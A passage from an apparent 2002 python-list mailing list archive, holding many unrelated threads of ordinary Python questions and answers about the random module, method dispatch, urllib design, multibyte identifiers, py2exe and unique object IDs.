Martelli) Date: Sat, 04 May 2002 06:17:30 GMT Subject: module random: delay in "seeding" References: Message-ID: <_1LA8.2704$zW3.61205@news1.tin.it> Roman Suzi wrote: ... > While it is quite understandable that normally distributed numbers > come in pairs, but I thought seed() resets the state of random module... No, you need getstate and setstate methods for that. If all you want is to also reset the gauss_next attribute, go ahead -- no leading underscore, so it's public. Note that getstate returns the version (to check if you ever try to restore state to an incompatible version), seed, and gauss_next. They're also exposed as __getstate__ and __setstate__ so you may ALSO pickle/unpickle random.Random instances and also copy.copy them. > I think this sometimes can cause errors. If so, then the docs need to be made clearer; it seems to me that the mechanisms are just fine. Alex From tdelaney at avaya.com Wed May 22 20:23:07 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 23 May 2002 10:23:07 +1000 Subject: 2**HUGENUMBER Why not optimise it? Message-ID: > From: Mike C. Fletcher [mailto:mcfletch at rogers.com] > > I've noticed the use of 2**HUGENUMBER as a speed test a > couple of times > now. I'm curious why the language(s) doesn't (don't) optimise 2**X > operations for really huge exponents. Python obviously > optimises 1**x > (since 1**1000000 returns instantly), so why not 2**x where x > > (30 or 62)? Exponentiation can be overloaded. Look at __pow__ ... Tim Delaney From s997659 at ee.cuhk.edu.hk Tue May 21 04:51:06 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Tue, 21 May 2002 16:51:06 +0800 Subject: Question on Pmw Balloon Binding Message-ID: Hi all, I want to create a balloon help for a button. So I have the following code: from Tkinter import * import Pmw root = Tk() Pmw.initialise(root) frame = Frame(root).pack() button = Button(frame, text="Button").pack() balloon = Pmw.Balloon(root) balloon.bind(button, "Button") However, when I run the code I get the following error: File "myprog.py", line 8, in ? balloon.bind(button, "Button") File "..../PmwBalloon.py", line 67, in bind enterID = widget.bind('', AttributeError: 'NoneType' object has no atribute 'bind' When I modify the code as: button = Button(frame, text="Button") button.pack() balloon = Pmw.Balloon(root) balloon.bind(button, "Button") It works! Why? Can anyone tell me the reasons behind. Thanks in advance. Regards, Geiger From jepler at unpythonic.net Wed May 1 08:53:47 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 1 May 2002 07:53:47 -0500 Subject: os.environ.copy()['COPY_HUH'] = "not really" In-Reply-To: <20020430184231.C30307@ibook.distro.conectiva> References: <20020430152022.I17488@unpythonic.net> <20020430184231.C30307@ibook.distro.conectiva> Message-ID: <20020501075346.A22158@unpythonic.net> On Tue, Apr 30, 2002 at 06:42:31PM -0300, Gustavo Niemeyer wrote: > >>> copy = os.environ.copy() > >>> print copy.__class__ > os._Environ > > It's not a real dictionary, but an os._Environ class. Copying it > creates instances of the same class, and that class' behavior is > to insert the item in the environment. I belive this should be > avoided in this case, returning a true dictionary from copy(). I'll > send a patch to SourceForge, if you haven't done so yet. I was tempted to send a patch to SF, but I was worried that there was some "good" reason for this feature. Maybe it's just an accident waiting to be fixed after all. If you have a patch prepared, by all means submit it. Jeff From shagshag13 at yahoo.fr Sat May 18 08:28:42 2002 From: shagshag13 at yahoo.fr (Shagshag) Date: 18 May 2002 05:28:42 -0700 Subject: How to propagate an exception ? Message-ID: <409a56e2.0205180428.44ddc3e0@posting.google.com> Hello, How do you propagate an exception ? Is there a way to raise the previous exception raised after doing something ? Here what i would like to do : try: some_parsing_with_minidom(from_a_line) except SAXParseException: # (1) # there are trouble in my file such as & instead of & # and other things which prevent correct parsing but # i don't know where and what cause my trouble print index_of_line, line raise SAXParseException #<- should be the one i intercept in (1) From cliechti at gmx.net Wed May 22 16:58:57 2002 From: cliechti at gmx.net (Chris Liechti) Date: 22 May 2002 22:58:57 +0200 Subject: Low level memory management References: Message-ID: "Lorenzo Bolognini" wrote in news:KLMG8.1134$z87.12314 at twister2.libero.it: > Hi all, > > is there a way to manipulate at a low level memory in Python (as in C) > ? first, look at the struct module it is good to convert memory from c or others to python types and back. (it works with strings containing the memory, where do you get those from, is an other question) > I know that Python wasn't thought to do that but there maybe a Python > module that acts as a wrapper around some low level functions written > in C. what functions do you expect? e.g. string = readFromMemory(address, size) is dead simple to implement as C extension - the other problem is your OS that prevents you from reading from arbitrary addresses... (on linux there is the memory file in /proc where you can dig in the memory as root - should be simple to use with open and seek file operations) chris -- Chris From steffen.ries at sympatico.ca Fri May 24 08:02:24 2002 From: steffen.ries at sympatico.ca (Steffen Ries) Date: Fri, 24 May 2002 12:02:24 GMT Subject: Newbie - bound/unbound method call References: Message-ID: inyeol_lee at yahoo.com (Inyeol Lee) writes: > This code is for handling keywords. > > class C: > > def do_key1(self): > print "key1 done." > > def do_key2(self): > print "key2 done." > > def do_key3(self): > print "key3 done." > > table = { > "key1": do_key1, > "key2": do_key2, > "key3": do_key3 > } > > def do(self, key): > self.table[key](self) > > This code works fine, for example: > > >>> c = C() > >>> c.do("key1") > key1 done. > >>> > > But I don't fully understand why it works. I've just made it work > through trial & error. My question is; > > 1. Is it pythonic? Is there better way to do this? I would use a variation of this theme, but I wouldn't judge one or the other to be more pythonic: class C: def do_key1(self): print "key1 done." def do_key2(self): print "key2 done." def do_key3(self): print "key3 done." def do(self, key): return getattr(self, "do_" + key)() This way I'm assuming a naming convention to bind the keyword to its handler. > 2. Is the second 'self' in the last line 'self.table[key](self)' > required? (It generates TypeError without it.) Is it unbound method call > even though it starts with 'self'? It is unbound, since the first self is just used to lookup the class-variable "table". "table" contains references to the unbound methods do_keyX An alternative would be to initialize your table with bound methods in a constructor: def __init__(self): self.table = { "key1": self.do_key1, "key2": self.do_key2, "key3": self.do_key3 } /steffen -- steffen.ries at sympatico.ca <> Gravity is a myth -- the Earth sucks! From jepler at unpythonic.net Fri May 31 17:36:15 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Fri, 31 May 2002 16:36:15 -0500 Subject: Generating unique numbers? In-Reply-To: <3CF7EBC8.4080802@verio.net> References: <3CF7EBC8.4080802@verio.net> Message-ID: <20020531163615.A13087@unpythonic.net> On Fri, May 31, 2002 at 03:31:52PM -0600, VanL wrote: > Is there a good algorithm for generating unique numbers > (ints, specifically) that can be used as object identifiers? id(x) Jeff From marklists at mceahern.com Sun May 19 16:17:51 2002 From: marklists at mceahern.com (Mark McEahern) Date: Sun, 19 May 2002 15:17:51 -0500 Subject: Where to find python code beautifier ? In-Reply-To: Message-ID: [Matthew Chong] > Although Python obviate the need of brace but does not mean the > code cannot be beautify] > Anyone knows where to get one ? What specifically are you looking for? I can imagine a number of things you might want: 1. Force indentation to be a certain number of spaces. 2. Force indentation for things like this: if x: print x 3. Force naming conventions--this might be tough to do. Hmm, just thinking out loud. Cheers, // mark From lists at weissinger.org Tue May 7 22:32:20 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Tue, 7 May 2002 22:32:20 -0400 Subject: urllib, urllib2, httplib -- Begging for consolidation? In-Reply-To: Message-ID: Is anyone specifically heading up maintenance/updates/etc to these modules now? Whose "baby" are these modules? What do YOU think? Keyton > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of brueckd at tbye.com > Sent: Tuesday, May 07, 2002 11:27 AM > To: python-list at python.org > Subject: Re: urllib, urllib2, httplib -- Begging for consolidation? > > > On Tue, 7 May 2002, A. Keyton Weissinger wrote: > > > Am I the only one that thinks these need to be pulled together > some? I saw a > > PEP (268?) where there are some rumblings about adding some > things to it as > > well. Maybe a combo project? > > Yes, part of the problem is that it's not obvious when you should use > which (e.g. urllib vs. urllib2). > > BUT, if there were to occur some sort of consolidation (meaning, > introducing incompatibilities or a whole new module), then we should use > that as an opportunity to restructure/redesign that whole set of modules > because, IMO, they've evolved past their original design. If we can come > up with a good organization, the actual implementation could be > handled by > various members of the community. > > The original premise of urllib, that it helps your app open any type of > URL in roughly the same way, is pretty neat but now both urllib and > urllib2 have lots of stuff tacked on that is pretty HTTP-specific. Also, > I usually need to support only one protocol and I know in advance which > that is (usually HTTP, sometimes FTP), but the httplib docs imply that > httplib is more of an internal module. > > So... if we were to change something, I'd like us to build a rich HTTP > library that supports the super easy use case (gimme the data at this URL, > optionally posting this data right here first) as well as more complicated > cases (add in these request headers before sending the request to the > origin). It would be in this module (or one closely tied to it) that we'd > capture knowledge about the HTTP protocol, such as parsing and building > HTTP 1.0 and 1.1 compliant request and response headers, handling cookies, > basic and digest authentication, '\n' vs. '\r\n' line endings, easy-to-use > HTTPS, etc. Supporting routines (like quote, urlencode, urlparse) can > either be imported and exposed through the HTTP module, or kept in a > module with better definied boundaries. > > We could take the same approach with other protocols, and include modules > for FTP, plain files, etc. With all those in place we could still > have the > "open any type of URL" routine built on top, but it should work only for > the simplest of use cases; if you need something more complex then you'd > go use the corresponding protocol library yourself. > > I'm not suggesting that we scrap the current protocol modules (they've be > very, very useful); it's just that over time they've grown up and are due > for some redesign/refactoring (the kind that will not be backwards > compatible). > > -Dave > > > > -- > http://mail.python.org/mailman/listinfo/python-list > > From stephen at xemacs.org Thu May 9 10:08:01 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 09 May 2002 23:08:01 +0900 Subject: Multibyte Character Surport for Python References: <87pu05mvmf.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87adr9mn26.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Alex" == Alex Martelli writes: Alex> Stephen J. Turnbull wrote: >> Agreed. Except that a decade from now Chinese might be the >> ONE. Then we'll be glad we have hanzi identifiers, as Python >> sweeps the CJK world.<0.9 wink> Alex> Fine, WHEN that happens. And IF, of course. Meanwhile, Alex> Ruby will probably get there first, born in Japan and all, "Made in Japan" is not exactly a password to rapid acceptance in this neighborhood. It's getting more so, but not there yet. Alex> right? Hey, it IS so close to Python it almost hurts. And Alex> AFAIK, it doesn't support what you so intensely want, which It's not that intense. I just see the tradeoff as being much more balanced than you do. CP4E is important, too. Alex> hasn't stopped it from huge Japan success, though it may in Alex> the future. The insularity you mention is working for it here. But its success is deserved. >> ... is it really worth sacrificing the ability to introduce >> more non-programmers to programming to avoid "helping >> fragmentation" by 25% over what those who want localized >> identifiers already can do? Alex> Yes. And it's NOT worth (IMHO, of course) helping the Alex> Japanese keep ever more insular and separated from the rest The ones who are causing and aggravating the problems will _never_ write any code; in fact, more widespread computer literacy---even if everything the people think they know is wrong!---would substantially decrease the gerontocrats' power, IMO. Alex> Sure, it's bad enough if said code has an identifier Alex> "principi" -- you don't know what it means and must infer Alex> from context. (The comments and docstrings if any are Alex> likely just as obscure). And if the fact that the ONE language is Italian (I presume) forced me to choose "principi" as an identifier, thus misdocumenting the variable to those who _do_ understand Italian? Alex> confusion is still possible but much less likely than in a Alex> language WITH diacritics Very true. Alex> or thousands of different glyphs This will make it unreadable to non-CJK-capable programmers, true. But the likelihood of typos and confusion is at least as low as in English, perhaps lower. It is also likely to permit similar levels of expressiveness in less space (even with the 2:1 width ratio common for ideographs vs. alphabetic characters). Alex> They may THINK they want to "speak their own language to the Alex> computer", but they _don't_, really: if they think so, it's Alex> because they still haven't grasped the key differences. Agreed. Unfortunately, my faculty won't permit the use of a LART, which is the only technique I know of to get a reasonable share of their attention to direct at key differences. Smacking them with English just puts them to sleep. Alex> Help them learn, rather than "helping" them hide their Alex> ignorance from themselves. MHO (based on the limited, very introductory courses I've taught in programming) is that helping them to learn what programming really is means removing as many of the incidental difficulties involved getting their first real (ie, a task they choose) program working as possible. Disciplines of good identifier choice, etc, come later. These have to be enforced by The Management, anyway. Simply saying "no kanji" isn't enough, as you well know (and the no-kanji rule is easily enforced mechanically, which is something you can't say for "choose meaningful identifiers"). Note that as an economics professor, I do have some experience with the issue of weaning students from their milk language. There is nearly zero published work of professional interest---except for national economic policy---in any language but English. Not even French or Russian. That doesn't stop there from being about 50 Japanese-language journals---but the students all know what's good for them, and they don't _target_ the vernacular journals. I can see all the reasons why that might not carry over to programming. But on the other hand, it shows that there _is_ possibility that you can accomplish your goal with not very much extra effort. You just need to convince the leaders. Even in a world where one can choose identifiers written with ideographs. In any case, Martin's point about bytecode compatibility once we introduce Unicode identifiers is probably enough to make a real multilingual Python impractical for the foreseeable future (maybe Python 4?) I plan to experiment with a UTF-8 Python anyway. Keeping your comments in mind, one thing I'll work on early is tools for translating identifiers (presumably to English) and on metrics for identifiers that are "too close" to one another. Even if Python never needs them, some language will. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From stojek at part-gmbh.de Tue May 21 12:31:03 2002 From: stojek at part-gmbh.de (Marcus Stojek) Date: Tue, 21 May 2002 16:31:03 GMT Subject: help with py2exe (and vtkpython) Message-ID: <3cea6e21.27909250@news.easynews.net> Hi, some time ago (Python 2.1, py2exe.0.3.1) I have written a little application to view 3d data with vtk (ver3.0). I have imported: from wxPython.lib import vtk from vtkpython import * and built: # setup.py from distutils.core import setup import py2exe setup(name="Viewer",scripts=["Viewer.py"],) this produced two neat dlls, (vtk.dll and vtkpyhon.dll) and everything worked just fine. As fas as i understand from looking at vtkpyton.py all this moduls does is providing the names of the required vtkdlls that have to be imported. Now, (Python 2.2, py2exe0.3.3) the same thing doesn't work any more. instead of importing vtkpython I have to list all dlls explicitly. Otherwise not a single vtk***.dll is imported. Furthermore, if I include these dlls they are just copied into the /dist directory and are not collected into one or two files as before. Any hints what I'm missing ? Thanks in advance Marcus From zaka07 at hotmail.com Thu May 9 10:58:55 2002 From: zaka07 at hotmail.com (Rad) Date: 9 May 2002 07:58:55 -0700 Subject: auto read multiple files Message-ID: Hi, I have about 2500 text files to read (and manipulate) from apx. 625 directories (i.e. 4 files per directory) eg: C:\Python22\data\ProjectName\001\FileName1.001 FileName2.001 FileName3.001 FileName4.001 C:\Python22\data\ProjectName\002\FileName1.002 FileName2.002 FileName3.002 FileName4.002 C:\Python22\data\ProjectName\625\FileName1.625 FileName2.625 FileName3.625 FileName4.625 I want to apply the same procedure/s to all(625) sets of four files without having to explicitly specify paths and FileNames, i.e. run the program and leave it over night to do the work on all 2500 files. I could create a list of all the file names and use it to access files 4 by 4 but I guess this is not the best way. Any ideas? P.S. If it makes things easier I could move all the files into one directory thus have fixed path. (related sets of 4 files have same extensions) P.P.S. Win98/Win2k Python2.2.1 From jepler at unpythonic.net Fri May 31 20:52:55 2002 From: jepler at unpythonic.net (jepler at unpythonic.net) Date: Fri, 31 May 2002 19:52:55 -0500 Subject: Generating unique numbers? In-Reply-To: References: Message-ID: <20020531195255.A2297@unpythonic.net> On Fri, May 31, 2002 at 05:37:23PM -0700, Ken Seehof wrote: > In the case of multiple computers, you would combine > the machine id with id(x). If you are allowed long > integers or tuples or 64 bit integers, that's trivial. > You might have to be clever to get it into 32 bits > reliably. It seems very likely that there have been more than 2**32 distinct objects generated in runs of Python programs across all the computers on the 'net. In fact, it seems very likely that some machines have generated more than 2**32 distinct objects (across several processes and some time) since even a fairly modest machine can successfully execute 'range(2**24)'. If you want to talk about internet-accessible machines and use their IP address as part of the key, you'll run into two problems. First, many machines probably have the IP address "10.0.0.1", which is part of a reserved space that many people are encouraged to use by ISPs that use some form of NAT for their clients. Second, even if you ignore this problem you are left with a space of 2**32 with some relatively small number of addresses that you know cannot be used (according to the old class-system of IP networks you can determine some number <2**25 of broadcast and network addresses), it seems unlikely that you could get a unique network ID into less than 31 bits. That'll give you 2**(31+24) unique objects that might exist at any one time. But as I tried to imply above, it's likely that some machines will run at least 2**10 processes during their lifetime, giving 2**(31+24+10) IDs (probably some machines will run 2**10 processes per hour, which would be 1 hit per 3 seconds running Python as a CGI script). But now we've gotten to 65 bits of a unique id... Of course, this 65-bit space will be quite sparse, but somewhere there's a machine that will use up each of the allocated fields, so you can't shave much off. So I don't think you could do a unique object identifier in 64 bits, with the requirement that it be unique over all processes in all machines on the internet. Jeff From erno-news at erno.iki.fi Tue May 7 00:25:38 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 07 May 2002 07:25:38 +0300 Subject: streaming audio References: Message-ID: In article , Rob Brown-Bayliss writes: | But I want to be able to create "streams" on the server that can be | connected to from any room, eg: a party stream and have all rooms | playing the same sound in sync. easiest way to get good results is probably to just sync the clocks of the computers in different rooms, and have them agree on when to start playing. then you can use liberal buffering and tcp (http or whatever). -- erno From huaiyu at gauss.almadan.ibm.com Fri May 17 23:22:09 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Sat, 18 May 2002 03:22:09 +0000 (UTC) Subject: Does Python need "const" ? (Re: PEP 218 Re: ANN: set-0.1 module available) References: <3CE55CFE.55CA262F@alcyone.com> Message-ID: Erik Max Francis wrote: >"James J. Besemer" wrote: > >> Python has clear precedent for doing so, in that strings, tuples >> and long integers all are immutable. > >Why is that a precedent? Lists aren't immutable, and you're as likely >to want to add and remove objects from a set as you are to modify a >list. Maybe Python needs a keyword "const". I've been toying with this idea for quite some time. It is my observation that a substantial proportion of the discussions about Python design touches on the issue of mutability: - Is this thing hashable? - Should I compare with contents or with object id? - What does += do? Why is it different for list and numbers? - Can I use string as a buffer? - Some of the great uses of __getattr__ and __setattr__. - Some security discussions. - Why don't Python have a machine code compiler? - How do I codify the idea that this thing will not change here? - Speed and garbage collection for tuples (on python-dev). There are more but I can only remember these right now. Python provides immutable types for some objects (numbers, strings) and mutable types for others (dictionaries, functions, classes, modules) and both versions for some (tuples and lists). In real life we have to deal with some versions of objects that cannot change, and some versions that can, for any kind of objects. It might be better to separate out the mutability aspect of objects from other aspects, and maybe even allow objects to change the mutability under some rules. There are at least two kinds of possible meaning of 'const' in Python: const reference and const object. To illustrate the idea, I'll give some examples, assuming that all things are mutable a priori without the 'const' keyword, which is not true today. Suppose we use prefix 'const' to refer to names and postfix 'const' to refer to objects, we could say # const reference to mutable object const a = "abc" # forbids a = "xyz" # allows b = a; a += "uvw"; which would set b to "abcuvw". # mutable reference to const object a = "abcd" const # forbids a[2] = 'g' # allows a = 42 # const reference to const object const a = "abc" const # forbids both rebinding a to another object and changing the current # object. # more examples a = [1, 2, 3] const # equivalent to today's a = (1, 2, 3) a = "abc" const # equivalent to today's a = "abc" a = {1, 2, 3} const # a set that can be hashed by content const a = {1, 2, 3} # a set that should be hashed by id (like a container) def f(x const) # will not modify x object inside f. class A: def meth1(self, x) # may modify self and x def meth2(self const, x) # may not modify an members, but may modify x def meth3(self, x const) # may modify members of self. These ideas are not a concrete proposal at the moment. What I'm hoping for is that perhaps by seeing a connection among these issues a more coherent proposal might emerge that is better than incremental changes. The issue of implementation and compatibility is not on my radar screen yet. Fire up your ideas. Huaiyu From gdemmy at layton-graphics.com Wed May 22 15:21:50 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 22 May 2002 15:21:50 -0400 Subject: 2**HUGENUMBER Why not optimise it? References: Message-ID: "Mike C. Fletcher" writes: > I've noticed the use of 2**HUGENUMBER as a speed test a couple of > times now. I'm curious why the language(s) doesn't (don't) optimise > 2**X operations for really huge exponents. Python obviously optimises > 1**x (since 1**1000000 returns instantly), so why not 2**x where x > > (30 or 62)? I guess I didn't do a good job of making the point that the "speed" of a language and its implementation depends hugely on context. I was able to go from problem to solution in less than two seconds (I'm not the worlds fastest typest...) for the toy problem. Execution time was less than half a second, the other second and a half being spent typing python -c 'print 2**10000' OK, I lied. Probably closer to five seconds typing, but it better makes the point. Using clisp (in my limited experience, a *much* faster bignum implementation, btw, than Guido Python), I could have shaved four tenths of a second... either way, execution time was a small fraction of total execution time. > > i.e. return 1L< > I'm guessing the reason is "no one really uses this much, so there's > not much point putting the effort into the change", but I'm still > curious if I'm missing something about 2-exponentiation. Probably not missing anything about 2-exponentiation. 7 ** 10000 would have been find. I confess, I "rigged" it to eliminate the obvious Perl one-liner. Perl would the spit out a floating point answer just fine. But I'm unrepentant in the rigging -- "Is python fast 'enough'?" is a loaded question! > Given that the test was stated as an English word problem, the > 1L<<10000 solution would probably even be acceptable in the speed > tests. We just need to restate the problem as: > > "What is the integer/long value of 2 raised to the power of > 10000000?" Problems are usually specifed in words... or less! I always get a chuckle (in the gallows humor sense) when I see the folks trying to elicit just what it is that the customer wants. Much of my time as a programmer is spent exploring problems and trying to nail down specs not hacking :( How long does it take to fire up emacs (OK, zero, it's *always* running), edit the c code, compile, and exectute. Again, illustrating that "speed" can (and should!) be measured more ways than one. > And Python will be universally acknowledged as the speediest language > on the planet ;) . > > Mike Wink aside, if you're interested in flat out execution speed for bignums, you might check out clisp... Optimization of 2**HUGEL may be premature at this point. I like Python and the Guido Python implementation because it lets me go from problem statement to solution quickly for a wide variety of problems... small and large. G From brueckd at tbye.com Wed May 1 18:00:04 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Wed, 1 May 2002 15:00:04 -0700 (PDT) Subject: Ways to get number of seconds from Epoch In-Reply-To: Message-ID: On Wed, 1 May 2002, Mark McEahern wrote: > > Each record have recorded time as follows: > > > > [15/Apr/2002:08:28:56 +0200] > > That format seems a little odd: > > o The slash separator with month name abbreviations. > o The colon between year and hour. It is a little odd, but it's also how Common Log Format does timestamps: http://www.bacuslabs.com/WsvlCLF.html -Dave From sandskyfly at hotmail.com Thu May 9 11:40:42 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 9 May 2002 08:40:42 -0700 Subject: high-performance python web frameworks Message-ID: Has anybody made a side-by-side comparison of the performance of python-oriented web frameworks? In particular, I'm looking to compare jython/java combinations with pure python combos, and subject all frameworks to load-testing by something like the open source VeloMeter(http://www.velometer.com/) Now if only there was a pystone for web apps... regards, Sandy From MikePowell at smartvia.de Sun May 26 13:58:09 2002 From: MikePowell at smartvia.de (powell) Date: 26 May 2002 10:58:09 -0700 Subject: Tkinter will bei mir nicht starten Message-ID: <3e89c7ad.0205260958.37fd4c8b@posting.google.com> Hallo, Ich habe ein Problem mit Tkinter bei Python. Wen ich beim Idle import Tkinter oder andere import Befehle eingebe, kommt immer die fehlermeldung "No module named Tkinter". Ich habe Python unter Suse Linux 8.0 per software nachinstallieren per Cdrom installiert. Kann mir jemand helfen ? From whisper at oz.net Sun May 19 17:48:28 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 19 May 2002 14:48:28 -0700 Subject: Python and IIS In-Reply-To: <02df01c1ff7a$7f49cac0$6300000a@holdenweb.com> Message-ID: Ain't monopoly grand if you're the monopolist! MS has bought all or parts of hundreds of companies (there's an MS watch site somewhere that names them all), continues with their campus expansion (now with it's own zip code!) and has, at last report, 36 BILLION in ready cash reserves. And the prices keep going up. Oh, did I mention that MS employees only get about 55% of industry norms for salaries? Of course, they also get stock options which the company gets to give instead of paying income tax (they avoided 7 billion in federal taxes last year (reportedly all they owed) by handing out stock options). Too bad those stock options aren't going to make you a millionaire in 5 years like they once could, but hey! you've got the cachet of being a Microsoft employee! David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Steve Holden > Sent: Sunday, May 19, 2002 14:17 > To: Tim Churches > Cc: python-list at python.org > Subject: Re: Python and IIS > > > ----- Original Message ----- > From: "Tim Churches" > To: "Steve Holden" > Cc: > Sent: Sunday, May 19, 2002 4:16 PM > Subject: Re: Python and IIS > > > > "Robert Plant" wrote in message > > > > > I would like to configure IIS 5 to use python cgi scripts. > > > > Somewhat related to this: a few weeks ago I took the time to read the > > license for Windows 2000 Server, and was surprised to find that a > > Client Access License is required for each authenticated user of > > IIS (or any other Web server, such as Apache?) running on Windows 2000 > > Server. That was (is) not the case with the Windows NT Server license. > > Details at > > http://www.microsoft.com/windows2000/server/howtobuy/pricing/changes.asp > > > > All this merely serves to highlight the fact, familiar to anyone who has > been an Intel customer over the past twenty years, that the price of the > product is now completely unrelated to any costs associated with > production. > > I'm continually amazed that customers don't object to this > "charge what the > market will bear" pricing. > > regards > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list From db3l at fitlinxx.com Thu May 23 16:43:05 2002 From: db3l at fitlinxx.com (David Bolen) Date: 23 May 2002 16:43:05 -0400 Subject: "casting" Python objects References: <1022131048.609512@yasure> Message-ID: "Donn Cave" writes: > Or, perhaps the right approach doesn't involve inheritance at all! Well, I was assuming that the Handler method was just one piece of the reason why FooMsg was subclassed from jabber.Message (since the original post was just an excerpt), but you're certainly right that there are other approaches as well not involving subclassing (such as the composition someone else posted). -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From logstx at bellatlantic.net Tue May 28 17:30:01 2002 From: logstx at bellatlantic.net (logistix) Date: Tue, 28 May 2002 21:30:01 GMT Subject: variable X procuct - [(x,y) for x in list1 for y in list2] References: <1022619068.34271@newsmaster-04.atnet.at> Message-ID: This is probably alot slower than actually writing multiple crossproduct functions, but it's generic. You might be better off writing a function with a big if...elif... construct that checks the list count and returns the appropriate list comprehension. >>> list1 = [1,2] >>> list2 = ['a','b','b'] >>> list3 = [1,2,3,4] def crossProduct(*listOfLists): ... first = listOfLists[0] ... retVal = [] ... for item in first: ... retVal.append( [item] ) ... i = 1 ... while i < len(listOfLists): ... next = listOfLists[i] ... retVal = [x[:]+[y] for x in retVal for y in next] ... i += 1 ... return retVal ... >>> crossProduct(list1) [[1], [2]] >>> crossProduct(list1,list2) [[1, 'a'], [1, 'b'], [1, 'b'], [2, 'a'], [2, 'b'], [2, 'b']] >>> crossProduct(list1,list2,list3) [[1, 'a', 1], [1, 'a', 2], [1, 'a', 3], [1, 'a', 4], [1, 'b', 1], [1, 'b', 2], [1, 'b', 3], [1, 'b', 4], [1, 'b', 1], [1, 'b', 2], [1, 'b', 3], [1, 'b', 4], [2, 'a', 1], [2, 'a', 2], [2, 'a', 3], [2, 'a', 4], [2, 'b', 1], [2, 'b', 2], [2, 'b', 3], [2, 'b', 4], [2, 'b', 1], [2, 'b', 2], [2, 'b', 3], [2, 'b', 4]] -- - "steindl fritz" wrote in message news:1022619068.34271 at newsmaster-04.atnet.at... > hi list, > > first - maybe sombody can help me with the english expression for the > german word 'kreuzprodukt' - this my question is dealing with > > ----------------------------------------------- > > example - > > list1 = [1, 2] > list2 = [a, b, c] > > [(x,y) for x in list1 for y in list2] > > the result is the "kreuzprodukt" > [(1,a), (1,b), (1,c), (2,a), (2,b), (2,c)] > > ----------------------------------------------- > > question - > > i need to keep the number of lists variable > > e.g. the next case should handle three lists > > [(a1, a2, a3) for a1 in list1 for a2 in list2 for a3 in list3] > > i cannot put variables into this algorythm or they don't do what i expect > maybe there is a simple solution, but i cannot find it > > > > > fritz > (-:fs) > From notdanielt3 at gte.net Mon May 13 18:05:42 2002 From: notdanielt3 at gte.net (Daniel T.) Date: Mon, 13 May 2002 22:05:42 GMT Subject: python for this C: "if ((a = b(c)) != NULL)" References: <12257ec4.0205131401.25c63801@posting.google.com> Message-ID: In article <12257ec4.0205131401.25c63801 at posting.google.com>, davidccarson at hotmail.com (David Carson) wrote: >This feels like a stupid question, but I'm having trouble seeing >outside of my C background right now. > >I expected the C syntax above to work in Python, with None replacing >NULL, but it complains about the assignment in the inner parentheses. >In C, of course, the inner assignment has a side effect ('a' gets the >value) and has a value that can be compared to NULL. > >So, how do I do this in Python, since I want to avoid running method >b() twice in the case where I want to use 'a' later? In other words, >I don't want to do: > > if b(c): > a = b(c) > use a here ... > >David How about: a = b(c) if a: #use a here ... Or if you don't like having 'a' hang around after the if block: def doThing( a ): if a: #use a here ... doThing( b(c) ) -- Improve your company's understanding of objects... Hire me. From Christopher.Saunter at durham.ac.uk Tue May 14 05:44:03 2002 From: Christopher.Saunter at durham.ac.uk (Christopher Saunter) Date: Tue, 14 May 2002 09:44:03 +0000 (UTC) Subject: Stackless, SMP and The GIL Message-ID: Greetings all! A short question: is modifying (probably an understatement ;-) Python to remove the global interpreter lock likely to be (a) Easier (b) Harder (c) Indifferent with stackless python over cpython? I suspect (c), but I'd be interested to hear from anyone who knows better! Regards, Chris Saunter From mlh at vier.idi.ntnu.no Sat May 11 11:04:14 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 May 2002 15:04:14 +0000 (UTC) Subject: path.startswith(dir)? References: Message-ID: In article , Steve Holden wrote: >"Magnus Lie Hetland" wrote ... >> I've got some code which tests for >> >> commonprefix([dir, filename]) == dir >> >> Assuming that dir ends with a separator (e.g. '/'), it ought to be >> just as safe (and more concise) to use >> >> filename.startswith(dir) >> >> no? >> >> And -- ensuring that dir ends with a separator can be done with >> >> dir = join(dir, '') >> >> This ought to be a safe/platform independent way of doing it, right? >> > >The safe, platform-independent way to do it is to use the functions provided >in the os.path module. This should ensure that if someone comes up with a >new way (in a new OS, of course) of describing file paths, you won't have to >make changes to your code. The functions above are from the os.path module. Both filename and dir have been passed through abspath. In light of this fact, I think the use of the string method startswith is safe -- which is what I said in the original mail. I don't see any reason why it shouldn't be. Do you? (That's what I was asking, really :) >regards > Steve -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From dreed at capital.edu Thu May 30 19:20:01 2002 From: dreed at capital.edu (Dave Reed) Date: Thu, 30 May 2002 19:20:01 -0400 Subject: What does Python offer? In-Reply-To: <3CF6B12F.CFD4823C@engcorp.com> (message from Peter Hansen on Thu, 30 May 2002 19:09:35 -0400) References: <3CF6B12F.CFD4823C@engcorp.com> Message-ID: <200205302320.g4UNK1500442@localhost.localdomain> > From: Peter Hansen > > Aahz wrote: > > > > In article , > > news wrote: > > > > > >The following has a number of links to articles describing what is special > > >about Python: 